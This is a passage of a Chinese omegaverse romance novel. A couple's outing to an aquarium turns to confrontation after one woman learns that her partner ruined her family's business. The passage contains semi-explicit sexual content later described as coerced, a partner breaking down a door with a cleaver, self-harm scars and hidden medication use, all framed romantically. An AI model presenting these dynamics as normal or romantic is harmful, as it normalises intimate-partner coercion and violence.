舒清柚沉浸在丰富的海洋生物里,仔细阅读各类介绍,舒绒目不转睛,听着妈妈的介绍,再辨别鱼稀奇漂亮的色彩。 再看向林絮,正帮她们拍照,舒绒发现大姐姐更爱盯着妈妈看,眼里包含的情感她不太懂。 总归大姐姐刚才没有欺负妈妈,还说对不起,舒绒心想等会允许林絮抱她。 林絮拿了本介绍手册凑近,上方事无巨细记录游玩路线以及动物表演时间。 “清柚,等会我们可以先去看企鹅,然后在企鹅餐馆吃午餐。” “好,听你的。” 一听到企鹅,舒绒和场馆其她小孩子一样,兴致冲冲,她攥着林絮的衣服不放。 “这是”林絮看了看只有她二分之一大小的手,愣了下。 舒绒又扯了几下。 林絮了然,接过重担,调侃着懵懂的舒绒,“哦,真乖,绒绒怕妈妈累,所以来压榨我,好孩子。” 顺势朝舒清柚邀功求赏,“亲我一下好不好,为了帮你分担这个小屁孩的重量。” “嗯”舒清柚不及思索答应,并雨露均沾,亲了她和舒绒一人一下,“这样,绒绒才不会生气。” 一切以孩子为主的舒清柚,林絮快被搞抑郁了。 企鹅场馆果然热闹非凡,黑白相间的企鹅摇摆走动,贴着肚皮从溜滑梯滑下,钻入水中肆意翱游。 游客不仅可以投喂食物,还可以近距离和小企鹅拍照。 这时林絮的作用比任何时候都大,动用钞能力,扶着舒绒让她玩到不亦乐乎。 和企鹅合影后,舒绒恋恋不舍地蹭蹭林絮,又指了指企鹅。 林絮揣测女儿的意思,脑袋电光一闪,心有灵犀,“以后让你妈咪给你承包整个海洋馆呀。” “到时候别说企鹅,还有小海豹,海豚,大鲨鱼,应有尽有。” 大饼画的舒绒身在云里雾里的,可她有点迷茫,妈咪是谁? 舒清柚嗔怪地睨了林絮一眼,“绒绒,不要太贪心,你先养好家里的小动物。” “林絮,你也一样,别和女儿耍心眼。” 被看穿了,林絮也不恼,如果舒清柚默许,她真的愿意为绒绒打造一座公主城堡。 她也是这样长大的,舒清柚的育儿观点似乎存在一定分歧。 “救命,我老实本分,哪有心眼可耍,我只是,想让你每天都多笑一笑,美女就该把最漂亮的一面展现给我看。” 每当舒清柚对她笑,林絮心底仿佛有暖流徘徊,感觉她们心意能多相通一分。 舒清柚受不了她油嘴滑舌,无奈道:“所以,只能笑给你看。” “对啊,你对别人这样笑”林絮模仿她暧昧不清表情,“这样的话,你就是红杏出墙。” 夸大其词,舒清柚满脸问号,虽然模仿的惟妙惟肖,看的舒清柚心跳加快一瞬。 她咬了咬唇,伸出手,食指点在林絮额间,带着缱绻的低语,“那你要加倍努力,别让我喜欢上别人。” 被舒清柚触摸的脑门,烫的林絮发呆,舒清柚刚才算是在变相的表白吗? 她原地不动数十秒,直到舒清柚提醒,“走啦。” “哦,好,好。”林絮愣愣地应声,走起路来都轻飘飘,犹如踩在云朵上。 舒清柚扫好二维码,将手机递给林絮,“菜单,还要点什么?” “我们俩你还客气什么,我请客,”林絮拿出最新款机型,划拉屏幕,“等我看看哦” “热果饮,绒绒你来选,企鹅杯,喜欢吧” 舒清柚默了默,小扇子的鸦睫低垂,眼睑洒落菱形阴影。 或许在林絮看来不值一提,一个手机,仅仅千元机,不足以配上林絮的身份,也拿不出手。 可回想当时,林絮得到这份礼物的心境,亮晶晶的眼眸,和现在大相径庭。 “清柚,你怎么了,哪不舒服,肚子?” “没有,”舒清柚眼底掠过不经意的失落,笑了笑,“你们都点了些什么?” “很多啊,小蛋糕,热饮,冰可乐,两份成人套餐,一份儿童套餐,”林絮如数家珍,“我先去装饮料,你们等我。” 说着林絮一个起身,路过舒清柚时弯腰垂首,在舒清柚脸上印下一个吻,在她耳边吹气,“等我,很快回来。” “好” 脸上覆盖的温软经久不散,舒清柚晃神,眼神也不自觉飘到林絮的手机上。 忘记带了啊,小粗心舒清柚会心一笑。 周围食客来来往往,有点吵闹,舒绒则对所有事物抱有新奇态度,一会看着企鹅雕像发呆,一会又紧盯着别人手上的玩偶。 还没回来吗,舒清柚往后看去,林絮高挑身形在大排长龙队伍中,也显得较为突出。 林絮身材保养得体,长相比舒清柚更显得平易近人,况且自带清淡体香。 方方面面,都是舒清柚难以抵抗的类型。 见舒绒就快要坐不住,舒清柚及时拉住女儿要奔跑的姿态,“绒绒,坐好,等妈咪回来。” 她早就认可林絮了,只不过她也不知道自己在矜持什么,舒绒没注意妈妈说的内容,周围人声嘈杂,妈妈说话声音又轻。 舒清柚正要释放一个警告的眼神,这时,余光手机屏幕闪烁。 她的注意力被分散,抱过舒绒,下意识瞥一眼。 偷看别人手机行为不对,哪怕是伴侣,也要经过同意才行。 舒清柚的教养也不允许偷摸行径。 她收回目光,但鬼使神差,屏幕上的几个字,有点在意,她极为心虚地伸长脖颈。 手机还未锁屏,白绿光从屏幕迸出,绿底黑字,分外扎眼。 【看不出来啊姐妹,就这样水灵灵搞定她了,还是你强】 【话说她知不知道你把她家公司搞稀碎啊,哈哈,真有你的,这算不算,认贼做家人啊?】 第63章 冻在零下五十度的腹地 “呜呜呜,好可怜啊,这只A企鹅为了老婆远走天涯” “不哭不哭啊,坏企鹅,臭企鹅,这企鹅傻啊,O企鹅回不来了那不就是没了,它还傻不拉几去找。” “不是,你还有没有心” 林絮被旁边一对小情侣对话内容吸引注意,A在分享纪录片内容哭得不成人样,大致就是O企鹅生下蛋后,由A企鹅孵崽。 O出去捕猎补充产后失去的营养,到一定时间再回来进行轮换,A企鹅等待几个月都没等到,于是去寻找妻子。 但是大部队开始迁移,A企鹅深深思念着妻子,于是毅然决然,孤鹅一只,深入冰天雪地。 林絮买好饮料回到座位,放下一杯加热的橙汁,“清柚,暖暖胃。” 舒清柚回过神,羽睫氤氲未干涸的水汽,右手紧紧攥着一张湿透的纸巾。 她迟迟未掀眸,仍是目光定在桌面。 “怎么了?”林絮见她一动不动,上手撩开舒清柚额前的发丝,手指沾上潮湿,她关心道:“我才走开一会,就难过成这样?” “不,不是” 舒清柚撇开脸,刚说了几个字就如鲠在喉,她深呼吸,忍住继续在大庭广众掉眼泪的冲动。 堪堪将哽咽的感觉压回肚子。 她干笑一声:“你手机忘拿了。” 谁还关心手机啊,林絮把手机塞进兜里,老婆莫名其妙哭了,虽然不明所以。 林絮命令舒绒乖乖坐好喝饮料,语气还挺凶,舒绒紧张地不敢挪动屁股。 舒绒先前看上别人手中的五颜六色的鱼鱼玩偶,想妈妈买给她,就可劲往妈妈怀里钻,妈妈没反应,她委屈地抬起脑袋,哪知妈妈眼眶红了一整圈。 导致舒绒手足无措,都怪她闹妈妈。 事已至此,舒绒只好喝饮料,她咬住吸管,想哭,无法直视妈妈,愧疚占据她的小心灵。 “好端端的,肯定谁惹你生气了。”林絮上前揽住她的肩膀,瘦瘦的,还有些颤抖,掐着她的上身扣到自己的小腹上。 “靠着我,就没那么难过了,是吧。” 舒清柚手还止不住地抖,老毛病又犯了。 真可笑,长久活在谎言中,受到过不止一次提醒了,她被欲望蒙蔽双眼,不断洗脑林絮所作所为,是爱的一种表现。 令人作呕,她还要勉力装下去吗? “嗯。”舒清柚咬唇吐字。 再等等,等到回家,得先吃药 林絮总觉得她不对劲,双手捧起她脸,泪痕挂在眼角,棕色小痣周围的皮肤被用力摩擦过,显得楚楚可怜。 “到底发生了什么,你又不说,”林絮垂下眼睑,俯身,啄吻她的眼尾,轻柔地说:“好讨厌你这样,天天打碎牙齿往肚子里咽,说出来我帮你想办法解决啊。” “我们之间还有什么可隐瞒的。” 林絮咕咕哝哝讲了一堆,牢骚发了不少,并非出自真心。 说者无心,听者有意,舒清柚听不进去外界纷杂,被麻木的思绪屏蔽掉,林絮的声音飘渺地像从十万八千里以外的地方传来。 但隐瞒二字响彻舒清柚心间,你瞒了我多久呢?从一开始,对我的企图昭然若揭,是我的错,我活该。 林絮柔软的唇瓣一个又一个,旁若无人地印在舒清柚薄红的脸上。 而服务员端着托盘来送餐,尴尬地站了很久,时间分秒过去,在食物还没凉之前,她小声开口:“林女士,您的午餐好了” 林絮头也没回,从口袋里摸出一张红票,夹在手指间递到后面,冷声道:“放着就行。” 取餐这活本应该顾客自己去取,海洋馆可没这项服务,还得是先前同事告诉她,名单上的尊贵客户到此。 服务员喜滋滋收下小费,走的时候好心宽慰:“我们展馆还有海獭,很治愈的哟。” 林絮抚摸着舒清柚的脸,试探地问,“是回家,还是看海獭。” 舒清柚提起胳膊,推着她,如果可以,别再靠她这么近。 “先吃饭吧” 人是铁饭是钢,林絮陪两母女逛了大半个展馆,说前胸贴后背也不足为奇。 女人嘛,多哄一哄就行,这是林絮的人生准则,对待自己的Omega,她可以叠加许多耐心。 “我喂你?” 舒清柚摇着头,机械地拿起不锈钢勺,将西红柿鸡蛋饭送进嘴中,番茄的酸味刺激着味蕾。 她蹙了蹙眉,忍住呕吐,好不容易咽下嚼碎的饭菜。 真就这么难吃啊,林絮还没开吃,一直查看舒清柚的行为,“不好吃别吃,丢掉,重新给你买!” “这么难吃,还敢拿出来卖!” 林絮火大地握住舒清柚的腕臂,制止她继续进食。 “不用,我可以的,”舒清柚愣了下,用拙劣的借口说:“我想起外婆了,有点触景生情。” 开什么国际玩笑,看动物还能想起外婆,怎么,她外婆是动物变的?林絮追问,“你外婆带你来过这?” 舒清柚抿着唇,点头。 “早说啊,你害我都紧张的,”林絮高高吊起的心脏平安落地,她挖了一勺鸡腿饭,开始干饭,“那我们等会还去看海獭不?” “去吧。” 另一边,舒绒还沉浸在悲伤中,一口大锅背在她幼小的身体上,压地她沉重到喘不过气。 在林絮努力填饱肚子期间,手臂觉得湿漉漉的,她一看。 差点没叫苦连天,小的又在哭哭啼啼了。 结果她的午餐从默默无闻变为兵荒马乱。 老婆哭完女儿接上,哇塞,她的日子可太有盼头了。 午饭后,林絮不停提醒舒清柚,不舒服就回家休息,少逞强,舒清柚像和她对着干似的,硬是要去看海獭。 林絮顺着她,为了让Omega开心,提了嘴A企鹅寻妻的故事,陆陆续续把纪录片形容给舒清柚。 舒清柚在去海獭馆的半路停下来,低着头思忖,她的手被林絮牢牢牵住,都快被热度沁出汗水。 她轻声问:“你怎么看待呢?” “企鹅吗?”林絮沉吟一小会,嗤笑着:“我觉得A企鹅挺死心眼的,世上那么多O企鹅,没了再找呀。” “就我认识的A而言,女朋友换了一个接一个,只要心脏还在供血,情感完全可以转移复制。” “对,你说的对。” 得到肯定,林絮情绪有点高涨,海獭馆算海洋馆的招牌之一,两只姐妹白海獭乐此不疲地在水里嬉戏。 舒绒都不敢看妈妈,怏怏不乐地挂在林絮身上,一半开心一半忧伤地观赏海獭出水敲贝壳。 海獭还喜欢揉脸清理湿掉的毛发,在人类眼里就成了卖萌。 “确实挺可爱治愈,”林絮说,“清柚,你喜欢吗?” 其实想问心情有没有好点,不知为何,林絮想给舒清柚很多昂贵稀有的东西,前提是舒清柚喜欢。 买了喜欢的东西,心情就能变好吧,有钱能使鬼推磨嘛。 “她们很可爱”舒清柚站在巨大的玻璃外,玻璃外的灯光稍显黯淡,落在舒清柚的头顶,照出半明半暗的清冷面容。 “谈不上喜不喜欢,”舒清柚说,“再喜欢,也可能是激素上升带来的假象。” 既然是假象,泡沫终究会在太阳底下破碎。 林絮在车上反复揣摩舒清柚的意思,她单纯的喜欢,在舒清柚的嘴里却成为了假。 喜欢如果按照激素分为真假,和她们又存在哪种关联,难道舒清柚想表达一种,我和她的情感全靠激素托举? 太不可理喻了,林絮举棋不定,问朋友吧。 翻开聊天框,看到顾怀愿留下一连串已读消息,没有未读红点点 她两眼一黑又一黑,正要破口大骂顾怀愿多管闲事,她一顿,猛然想起。 【你手机忘拿了。】 这句话犹如天外来音,劈头盖脸地凿入她的耳膜,心跳刹那间慢了半拍,时间在这一刻被无限拉长。 长到林絮忘记呼吸,头皮蓦地发麻,瞳孔收缩,她嘴唇微张,脊背僵直到发疼。 一切都解释的通了,怪不得舒清柚哭,还有意无意避开她的亲热。 林絮脑海中回荡着简短崩溃的信息。 她看到了,她知道,都是我干的,是我害她家破人亡。 不对,我并不是罪魁祸首。 她会听我解释的还有挽回的余地。 林絮悄然侧过脸,寻思先摸个底再看状况。 不曾想,舒清柚直勾勾看着她,面无表情,一举一动都映在舒清柚眼底,冷冰冰,和终年未化的南极一样。 林絮就是那只企鹅,冻在零下五十度的腹地。 真该死啊…… 她犹豫着,艰难开口:“清柚你,我们先回家休息好不好?你累了。” 还在骗,谎言,舒清柚自嘲地勾唇,敛下眼睑,“我很累。” 一到熟悉的地盘,林絮着急地打发走舒绒,奈何舒绒不听林絮,她终于崩溃,抱住妈妈的大腿。 舒清柚怔住,垂眸,小小一只的女儿,泪眼模糊,头发毛茸茸的,性格像自己,眉眼和林絮一样。 女儿又有什么错呢,是她选择生下来的,一厢情愿的产物。 她弯腰,拥着女儿,心脏像被刀剜,阵阵钝痛。 “绒绒,没事的,妈妈没事,你乖乖去玩。” “妈妈有点累了,妈咪会照顾好你,听话” 说完,也不管舒绒到底好没好,狠下心,一把将她塞到林絮怀里。 第64章 “标记我,给你,” 林絮眉心抽动,就这样把舒绒给她,要她负责,舒清柚却一点都不留恋冷漠离开。 只有空气中能嗅到一丝舒清柚的信息素,甜中带了点苦。 就连舒绒也愣住,呆滞地摇晃两步就要跌倒,林絮抓住她一只胳膊,飞速地把她扔到沙发坐好。 “我去找你妈妈说清楚,别打扰我们,你去和龙猫玩。” 说罢,林絮大步来到浴室前,里面清晰地传来药丸在塑料瓶里的撞击声。 她扭动门把,纹丝不动,舒清柚躲在里面偷偷吃药,平常表现的有多理智,现在只让林絮烦躁地揉动叩响门板。 “开门,聊一聊。” “我知道你在做什么,没必要躲躲藏藏。” 等待许久,她侧耳倾听,只有水龙头放水声,哗啦啦一直流。 “你别做傻事。”林絮咬牙压低嗓音,想到舒清柚曾经自伤的行为,她握紧拳头捶门。 哐哐哐! 空心木板被震到颤动,镶嵌门板的墙面从上方抖落些许石灰。 林絮喘着气,手指也在发抖,她下意识扭头看了眼舒绒,舒绒捂住耳朵缩在沙发最角落。 挺乖的,林絮稍微压下点脾气,好声好气继续开导:“有话好好说,都是我的错,好吗,你先开门,在里面容易把自己憋坏了。” 林絮在外头接着站了十来分钟。 她手心渗着汗液,湿哒哒的。 在门前徘徊来回走动,林絮揉了揉头发,手机通话提示您所拨打的电话已关机。 水流声继续,林絮可以肯定至少她不在里面洗澡,心头不安感渐起。 拳头握了又握,她胸腔沉闷地难以呼吸,闭上眼一会,再度睁开。 就这样吧。 砰——! 林絮抬起长腿,一脚将门踹开,仿佛整个屋子都为之抖了三抖。 舒绒已经团成个圆球,脸埋在沙发当中。 但这门也只是破了个大洞,尖锐的木板碎屑刺入她裤腿,她收回腿,俯下身。 舒清柚不敢置信,看到一双不知是担忧还是可惜的眼睛,从洞外直视过来,紧盯住她。 “啊,你还活着。”林絮咧了咧嘴。 “稍等。” 她大步流星,再回来时,手里多了把从厨房拎起的剁骨刀,前些天刚磨过,刀刃锋锐无比。 她脸上闪过刀面反射的精光。 “你不用过来开门,我可以搞定的。” 一刀下去,劈开大半,门板残破不堪,舒清柚坐在洁白的马桶盖上,脊背发凉,冷汗渗入面料,她大气不出一下。 林絮就像个屠夫,狂躁地砍瓜切菜般对付‘敌人’,长发贴在她微微泛红的脸颊上。 她眼神坚定,一副要为舒清柚声张正义的模样。 这把刀功能真多,舒清柚咽了咽口水。 等搞定稀烂碍事的门,林絮折返厨房,又呼哧呼哧赶来,深深吸气,吐气。 她关上水龙头,耐住性子说:“你可以听我解释吗?” 舒清柚掀起眸子,正对着林絮满深不见底的黑瞳,联想手持菜刀的颠样,她转换问题。 “林絮你疯了吗?” “我疯?”林絮指了指自己,瞪大眼,眼眶酸涩,“你要骂我打我尽管来啊,你这是什么意思,到底谁疯。” 她长臂一伸,手中顿时多了几瓶空掉的药瓶,摇了摇,居高临下睨着舒清柚。 舒清柚沉默着,垂下脖颈,双手虚握搭在大腿上,肩膀僵硬,嘴唇被她咬到几近流血。 林絮叹气,“这些药,我不是在质问你,但这几年你都靠这些过活?” 她痛心疾首,舌尖顶了顶腮肉,“你还想瞒我到几时?” 说到这里,林絮喉咙被什么卡住,*舒清柚漂亮狭长的眸子,泪水夺眶而出。 “我瞒你?”舒清柚眼白中遍布红血丝,声音沙哑破碎,“我是死是活和你有什么关系,或许一开始我死了,更能让你解气,不是吗?!” 林絮蹲在她面前,心口绞痛,她嘴唇颤抖着,“你神经病啊,我怎么就要你去死了,你死了,我我” 她摁住胸口,将白衬衫揉成皱巴巴。 “你厌我,恨我,就朝我来啊,打我吧,如果能让你开心点。” 舒清柚的手软绵绵的,被林絮忽地钳住,使劲往脸上扇巴掌,但舒清柚就和没骨头似的。 打得一点都不疼,倒像是情人的抚摸,林絮跪在她面前,膝盖在瓷砖上摩得生疼。 舒清柚低声啜泣,泪痕滑落至瘦削的下巴,滴在细白大腿,发出轻微啪嗒声。 “你走吧,林絮,”舒清柚自始至终低着头,“我答应你,我不追究那些。” “不行,你要追究,”林絮听到她要赶自己走,犹如晴天霹雳,当头棒喝,眼角溢出泪光。 “对不起,我不该做那个混账事,我年少不懂事,我真的知错了。” “你追究我,罚我,好吗?” 舒清柚牙齿在打颤,刚吃了药也不管用,左手不听使唤地颤抖。 “罚?有用吗?时间不能倒流,别天真了。” 林絮低下头,捞起舒清柚的臂弯,小心翼翼地捋起袖子,白炽灯下,深浅不一的伤疤更显骇人。 她的气息喷洒在纵横交错的疤痕上,舒清柚条件发射缩了缩。 “这里很疼吧。”林絮虔诚地扫过每一寸,托着舒清柚的手腕,将自己的唇瓣贴在上面。 “你疼,是我造成的。”林絮双肩抖动,豆大的泪珠打在舒清柚手上,烫的她皮肤发紧。 舒清柚心神杂乱,思维难以恢复清明,“一码归一码,林絮,凭什么因为你妄加论断,而要毁了我的家庭。” “可是,可是,”林絮失控地流着泪,她也迷惘了,“我也没有家了啊。” “我当时才成年没多久,我还是个孩子啊!” “我不是故意做的那种事,你就不能原谅我吗?” 原谅,说来说去,林絮自私自利,舒清柚突然止住哭腔,嘲弄地露出一个笑容。 “你总觉得我的心情无关紧要,你要我开心,无非就是为了让你满意,不是吗?” 林絮的表情瞬间灰白,不可否认,舒清柚有部分说得对,她的内心无论如何都不想承认这点。 她眨了眨疼痛的眼睛,猛地把舒清柚的手掌按在胸口。 “是啊,”林絮浑身颤抖,她要让舒清柚也和她一样感受,“我生来就独断独行,你要我改变,我改不了,我尽力了,我做不到低声下去忍气吞声。” “然后呢?你就要丢掉我,你喜欢失忆的我!你巴不得杀了现在的我,都是同一人,你要我装,我告诉你!舒清柚,这不。可。能!” 舒清柚简直要被她折磨疯,林絮不可理喻,说不通,要她改变和天方夜谭差不多。 手还被林絮死死按在她胸上,该死的,怎么能这么软。 她恐慌地想,都这种时候,还想多摸几下。 舒清柚咬住后槽牙,挤出几个字,“没让你改,我要你离开我。” “你休想!”林絮不停抽泣,要她离开她,这种话说出来,林絮就觉得天旋地转。 她揪住舒清柚的衣领,舒清柚本就蹲到大腿麻痹,被林絮轻轻一扯,她坐都坐不稳,跌在林絮怀中。 林絮上身摇晃几下,搂着她双双倒地,咚地一声。 她的脑袋不轻不重的撞到地砖,林絮顾不上疼。 舒清柚埋在她胸前,两人长发胡乱交缠着,手指紧紧陷入林絮的腰际皮肉。 虽然指甲平整圆滑,就舒清柚的力道,也是下了狠心的。 林絮愣是不吭一声,由着皮肤被抓破,疼痛感席卷而来。 有本事你就用指甲抠死我啊。 抱着自暴自弃的怪念头,林絮啜泣着,“不可能,你休想让我滚” 舒清柚只觉心痛到麻木。 信息素却不合时宜地从林絮腺体源源不断晰出,钻入舒清柚的鼻尖,像裹了蜜糖的毒药。 “我好累,林絮,你骗了我好多次,好多次,我是个人,不是木偶,也不是你专属的玩物!” 舒清柚扭动身体,试图逃脱,“你!让我起来!” 林絮双臂死命地环住她,哭闹着,“我就不,就不!” 信息素,舒清柚的甜橙味,林絮受不了,她就是个理智防线崩塌的野兽,她苦苦求她,毫无尊严。 “你标记我,要了我,我把自己给你,”林絮哭得一顿一顿的,把舒清柚拉到自己上方,又拽住她的手,往自己退间。 她苦求道:“我给你草,你别让我走。” 两人狼狈不已,衣服早就乱糟糟掀开,拉链配合退…部动作,褪去。 露出光洁的大tui。 分化成A后,子宫卵巢功能蜕化,并不代表A没有欲望,A也能从腺口得到不亚于O的感受。 林絮抬起被泪水弄脏的脸,讨好地蹭着舒清柚的渗出血的嘴唇。 她蛊惑地贴在舒清柚耳边说:“没人造访过,你是第一个。” 舒清柚震惊地看着她,手上的水无比清晰,不敢相信林絮想靠这种顽劣的方式弥补。 “真的不要吗?”林絮说着,抬起退,亲上舒清柚的唇瓣,“我给你,你就不要生我气了。” 都错了,错了! 舒清柚挣扎起身,林絮加住她的腰,不肯放过她。 就算再恶劣一点又如何,林絮想,反正也没有更糟糕的结果。 能用身体留住舒清柚,也算她目标达成。 舒清柚大喘气,平复剧烈心跳,她完全被林絮困住,连手都不能移动半分。 分不清是谁的呼吸,舒清柚脸颊烫到无可救药,维持最后的一丝理性。 “我们好好聊,地上脏,你有洁癖。” 林絮愣了下,漂亮卷曲的睫毛颤抖,泪从眼角滑落,笑着,“你真的好神经啊,舒清柚,居然还在乎这个,你就是在意我,你承认吧。” 她动了动,碾过舒清柚的手,仔细观察舒清柚眼底的错愕。 林絮不受控的喘息,一字一顿:“舒清柚,你。爱。我。” 第65章 “就尽管把我咬到皮开肉绽,保证不喊疼。” 第一次干这事,难免手生,可就算她刚开始做的不得章法。 林絮饥渴难耐到发虹水也算是让舒清柚大开眼界。 偏林絮不知哪来的力气,手臂如藤曼一样紧紧箍住她。 委实逃不开,舒清柚在某种程度上,也达成和她一样放飞自我自暴自弃的心态。 除却林絮直白地谈爱,舒清柚完全是被迫贴住她腺体,选择闭上嘴,只动手。 信息素的驱动,无时不刻随时随地都能发情,就像动物,舒清柚竭尽全力理清思绪。 “快一点?” 林絮不断汲取舒清柚发间馥郁香气,嘀咕着,“可以,就这样,被你占有,我好开心。” 好歹也是有成百实践经验的,在下面的经验,舒清柚无言以对,成功被林絮用X爱转移了吵架重点。 舒清柚还想提一嘴,要不我们去床上,卫生间大门破破烂烂敞开,舒绒虽然已经害怕到成球不关注她们,可是 “别磨蹭了,就当痛快报仇雪恨。”林絮按下她的后脑勺,唇面碰到腺体,她舒服地哼唧。 “你就尽管把我咬到皮开肉绽,我保证不喊疼。” 她无耻,下欠,用**偿还,能勾引到就是赚到。 舒清柚犹豫不决,她稍微张开嘴,林絮感觉到唇瓣的纹理,她比谁都迫切。 “尽情咬,宝宝。” 赶鸭子上架一样,舒清柚露出尖牙,咬住。 林絮陡然颤抖,Omega信息素,甜腻扩散。 按理,Alpha无法被标记,她却十分想要被舒清柚标记。 像当年她标记了她,除非洗标记,否则可以纠缠到不死不休。 起初,冷痛交加,完全适应后,暖烘烘的,像把橙子架在火炉上烤出果香。 林絮不许她出去,环紧她,哼哼唧唧,在她耳边胡言乱语:“好s啊,宝宝,你的信息素好厉害。” 倒也不必,这一瞬间舒清柚考虑,把林絮带去做心里检测吧,提菜刀砍门,下一秒就摔在一处。 不怎么正常的行径,像完成某种任务。 林絮热到发昏,隐忍地挪动身子,桃花眼黏在Omega的诱人的唇上。 “你做的很好,就是我屁股硌得慌。” “” “所以我说,去床上。” “不!我就要在这里,凉快!” 舒清柚抓了把贴住瓷砖的肌肤,“冻不死你” 林絮的瞳孔欲念腾腾,眼睛宛若冒火,嘴唇向前,衔住舒清柚的双唇,挤压式接吻。 一边亲一边喃喃:“冻死我最好,这样你每次想起我,还能回味我是被你艹死的!” 这样是死不了的,舒清柚想,她也不是金刚钻,还能把人钉死么 舒清柚发觉愈发的顺畅。 信息素沾地面,林絮像一条汲水的小鱼,不停地贴向她。 不得不说,林絮这种时刻还挺O的和水做的差不多。 舒清柚突然就能体会到上位的快乐 她耳尖烫麻了,忍不住道:“你就不能文明用词?” 林絮本来要反驳,讲文明树新风你就不干了吗? 转念,她心软了,让让自己的Omega,林絮娇媚一笑,“宝宝,我想死在你手里。” 超过了,舒清柚垂眼,埋在柔软上,当了回大猛1。 一个半小时后,她在床上盯着白灿灿的天花板。 如愿以偿,享受到洗面奶的乐趣,愧疚难当,她怎么就堕落至此,和林絮又滚成一团。 她支起上身,扫视林絮,全身上下,青一块紫一块,不是被掐就是咬 舒清柚怀疑人生中。 林絮敏捷地感到舒清柚的视线,她睁开眼睛,嘴唇勾了勾。 恶魔般蛊惑:“曾有智者说过,生命的意义在于丢掉所有愧疚感,享受只赤壁不吃苦的快乐。” 好正好歪的理论,舒清柚眼角抽动,“没听过,哪个智者。” “我呀。” 舒清柚翻身,披上外套,她需要去找个角落静一静。 林絮眼疾手快,抱住她大腿,腰酸背痛屁股抽筋同时袭来,她瘪嘴问:“你去哪我就去哪。” “我去安慰下绒绒。” 那天后。 两人的关系变得微妙,相处种,林絮发现她和她之间隔了一堵透明墙。 舒清柚一如既往忙工作,微笑同她打招呼,帮她准备早餐,提醒她出门注意安全。 等她回家共进晚餐。 要说有哪不对,就是她们不再有肢体接触,确切来讲,舒清柚不给她碰。 各种躲,离得远远的,林絮自尊受伤,终于在第三天爆发,她在饭桌上甩筷子,瞪着舒清柚:“分手!” 舒清柚顿了下,今天刚和房产中介沟通好售价,挂牌,她放下碗,葱白的手指收拾好林絮乱扔的筷子。 给她换上一双新的,默默坐下,什么都没回应,往嘴里小口送米饭。 “我说分手,分分分,你没听到吗?!” 舒清柚缓慢吞咽米饭,侧过脸,抿着唇看向她,洞悉一切的眼神,把她看穿,林絮缩了下脖颈,嘴硬道:“当我没” “我们有交往过吗?” 林絮眨了几下眼,晶亮眼眶蓄着泪花,控诉:“你都对我那样了,你怎么能欺负我,怎么能赖账?” 围观的人类幼崽没心情进食了,妈咪说大姐姐是妈咪,她无法理解也摸不清自己和林絮的关系。 索性就把林絮当个给她投喂好吃小蛋糕的玩伴。 面对林絮可怜卖惨,舒清柚精致的五官没有任何波动,冷漠道:“嗯,不想对你负责。” 林絮下意识抓住她胳膊,“真的,你要和我分手。” “我说过,我们没交往过,就没有分手这一说。” “那你还上我!” 居然被舒清柚吃了吐,林絮朝她大吼,眼泪顺势流进米饭当中。 这一吼,舒清柚蹙起眉心,揉着太阳穴推开饭碗,语气不变,“你强迫我的。” 林絮瞪圆了眼,语无伦次,我我我反复好几次,才把舌头捋直:“你把手指叉进来,还” 腺口还记着被捅的信息素乱窜的感受。 她无论如何没想到舒清柚也是个耍赖的,可恶,失策,赔了夫人又折兵。 林絮指着舒清柚的手指止不住打颤,实在不知道说什么好,啪地用力拍响饭桌,“我,你,我要绝食!” “随便。” 这点骨气林絮没丢掉,当天晚餐,舒清柚敲门给她送饭,林絮盯着手机打游戏,气呼呼地再度强调绝食。 舒清柚等了会,转身,把她的那份放进冰箱。 第二日,舒清柚打开冰箱,无语地看着空空如也的碗盘。 今天是出门祭拜母亲的日子,窗外黑云压城,潮湿的水汽萦绕鼻尖。 她在玄关慢慢地系上鞋带,一道瘦长的黑影笼罩住她,舒清柚掀起眸子。 林絮攥着衣摆,别扭地说:“我不绝食了。” 不过半日,绝食计划宣告失败,舒清柚冷淡道:“嗯,恭喜。” 继续蹲下,帮舒绒换好鞋袜,抱起她往门口走去。 林絮长臂伸展,堵着不让她出去,“你去哪我就去哪?” 好像在哪听过,舒清柚无奈和她对视,给了她一个冰凉的眼刀,“我去看我母亲,你有什么资格跟我。” 第66章 “怕我玷污了你的家吗?” 林絮弯起嘴角,还给她似是而非的话:“你是不是忘了啊,我妈是被你妈撞死的,你真的不再考虑看看,让我陪同或者,你也别想好过。” “你威胁我。”舒清柚的表情出现一丝裂痕,她低下头,发出冷哼,林絮是要和她明算账,奉陪到底。 “不考虑了,我们一桩桩来算。” 林絮被她抓住手腕,她吃惊之余看了眼,前些天进入她体内的,力道还怪大的,难道真的给她在床上锻炼出来的腕力? “算什么?” “坐。” 舒清柚从茶几下摸索出一支笔,一张A4纸,整整齐齐铺在桌面,敲一下钢笔盖,玻璃传来清脆响亮的声音。 下颌抬了抬,示意她坐下。 好强势的舒清柚,林絮不禁把视线放在玻璃桌面上,没碎掉吧。 钢笔表面由镀铬银铸造,反射的光亮映在林絮晶亮的眼眸中,她坐姿随性。 内心实则慌张,她重复了一遍,“我们到底要算什么?” “等着。”舒清柚拧开笔帽,在纸上沙沙写着。 “哦,我等你哦,宝宝。”等归等,又没说不准看,林絮悄悄挪动脑袋,伸长脖颈。 舒清柚的长直的乌发挡住了大半张纸面,只能看到白润的指节握住金属钢笔轻轻颤动,写字速度飞快,不带犹豫的。 她思维发散,想到一件离谱的事,无意识脱口而出:“你可以拿钢笔捅我吗?” 舒清柚顿住了,林絮只能看到她闭了闭眼,睁开。 “可以吧” 震惊! 林絮妄想解释清楚,但脑补的香颜场面,刺激到下腹神经,她很感慨舒清柚居然跟上了她脑回路。 如果钢笔和手指一起呢?放得下吧,她沉浸在古怪的X幻想中,探索欲前所未有高涨。 突然间脸上一凉,她反射性瑟缩着脖颈。 “别躲,该你签字了。” 钢笔贴着林絮,她木然地抄起笔,佝下腰背,仔细阅读上面的白纸黑字,才刚读了第一句话,她不可思议,猛地掀起眼睑。 林絮的肩膀因为气恼发抖。她嘴唇蠕动着,复述纸上所言。 “我已知晓我母亲撞死你母亲一事属实,我没有力气争辩,也没有本事逃跑,如果你恨的是我,那我们一笔一笔来!” 舒清柚语气平静,不带任何情绪陈诉,“对,从即日起,我们之间不再有任何情感牵连” “乱七八糟的!”林絮啪地把钢笔砸在纸上,狠狠打断她,“还有,若你执意报复,请清楚划清对象与边界,都什么和什么!” 捏纸的指节发白,如鲠在喉,半晌,林絮捂住脸,“你打死我也不会签字的。” 舒清柚也在等她想明白,理性发言:“我想开了,其实我们现在算互不相欠,你签名,我可以满足你身体上的但你不能干涉我其她方面生活。” 